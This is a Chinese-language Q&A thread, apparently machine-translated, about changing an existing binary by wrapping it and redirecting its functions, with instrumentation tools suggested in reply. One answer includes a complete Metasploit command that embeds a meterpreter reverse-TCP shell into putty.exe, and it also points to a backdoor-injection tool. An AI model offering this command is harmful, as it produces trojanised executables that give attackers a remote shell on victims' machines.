可以通过“包装”其二进制文件来修改程序吗?存在哪些工具?

逆向工程 工具 C 可执行 操作系统 男子气概
2021-06-14 19:56:45

(此问题与如何向现有二进制可执行文件添加功能有关)。

我也想向现有应用程序添加功能,但我不想修改原始二进制文件。

我想,对于一些“表现良好”的编译代码,应该可以创建一个“包装器”程序:

  1. 将原始二进制文件的段映射到它自己的内存空间;
  2. 在相关地址放置自己重新定义的函数。

例如,假设加载原始二进制文件将放置void origfunction(int, int)在 location 0x1234; 我的想法是加载包装器可能会导致该函数的机器代码(来自原始二进制文件)被加载到 at0x5678在其位置void newfunction(int, int)加载0x1234newfunction然后可以origfunction在执行修改之前/之后调用

这种方法可行吗?如果没有,为什么不呢?

如果可行,是否有任何工具可以帮助自动生成此类包装程序?通用答案对未来的读者最有用,但我现在使用的原始二进制文件是一个相当典型的 OS X 二进制文件(Mach-O 格式,从 Objective-C 编译)。

2个回答

FridaDynomoRIO这样的动态检测工具可能是您最好的选择。传统的代码注入方法,如os x上的mach_injectWindows 上的detours也是您可以研究的事情。

我知道的一些工具:

  1. 后门工厂:https : //github.com/secretsquirrel/the-backdoor-factory

  2. 使用 Metasploit msfencode:

    msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /var/www/putty.exe -o /var/www/puttyx.exe

后门工厂支持各种二进制文件,例如 ELF、Mach-O、PE。